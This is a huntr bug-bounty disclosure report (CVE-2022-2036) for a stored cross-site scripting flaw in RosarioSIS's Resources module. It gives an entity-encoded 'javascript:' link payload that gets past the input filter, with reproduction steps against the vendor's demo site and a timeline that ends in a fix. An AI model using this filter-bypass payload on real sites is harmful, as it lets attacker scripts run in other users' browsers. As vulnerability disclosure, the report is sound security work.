huntr

Bypass filter - Stored XSS in Resources in francoisjacquet/rosariosis

0

✓ Valid Reported on Jun 7th 2022

Description

Website does incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Proof of concept

```
javaSCRIPT&colon;alert&lpar;origin&rpar;
```

Steps to reproduce [it works on Firefox (not in chromium based browsers)]

1.Go to `https://www.rosariosis.org/demonstration/` and login with administrator account
Go to `https://www.rosariosis.org/demonstration/Modules.php?modname=Resources/Resources.php`
3.Create new link with content `javaSCRIPT&colon;alert&lpar;origin&rpar;`
4.Click the link and observe a pop up

Image POC

```
https://drive.google.com/file/d/164Sk7viMV4gHvrmDykJZ9euivfoHlN-1/view?usp=sharing
https://drive.google.com/file/d/1-v6coqFoi0fQxjyak61XlH6GEFLiN2x7/view?usp=sharing
```

Video POC

```
https://drive.google.com/file/d/1JGwM0_WBShHRWnAc9l-9zY26ayZF3rSW/view?usp=sharing
```

Chat with us

Impact

User clicking the link can be affected by malicious javascript code created by the attacker.

CVE
CVE-2022-2036
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Critical (9)

Registry
Other

Affected Version
v9.0

Visibility
Public

Status
Fixed

Found by

Domiee13
@domiee13
pro

Fixed by

François Jacquet
@francoisjacquet
unranked

This report was seen 508 times.

We are processing your report and will contact the **francoisjacquet/rosariosis** team within 24 hours. 6 months ago

Domiee13 modified the report 6 months ago

Chat with us

We have contacted a member of the **francoisjacquet/rosariosis** team and are waiting to hear back 6 months ago

François Jacquet validated this vulnerability 6 months ago

Domiee13 has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

François Jacquet marked this as fixed in **9.0.1** with commit **6e213b** 6 months ago

François Jacquet has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Domiee13 6 months ago Researcher

@admin can we assign a CVE to this vulnerability?

Jamie Slome 6 months ago Admin

Sorted 👍

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

part of 418sec

company

about

Chat with us

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

about

team

Chat with us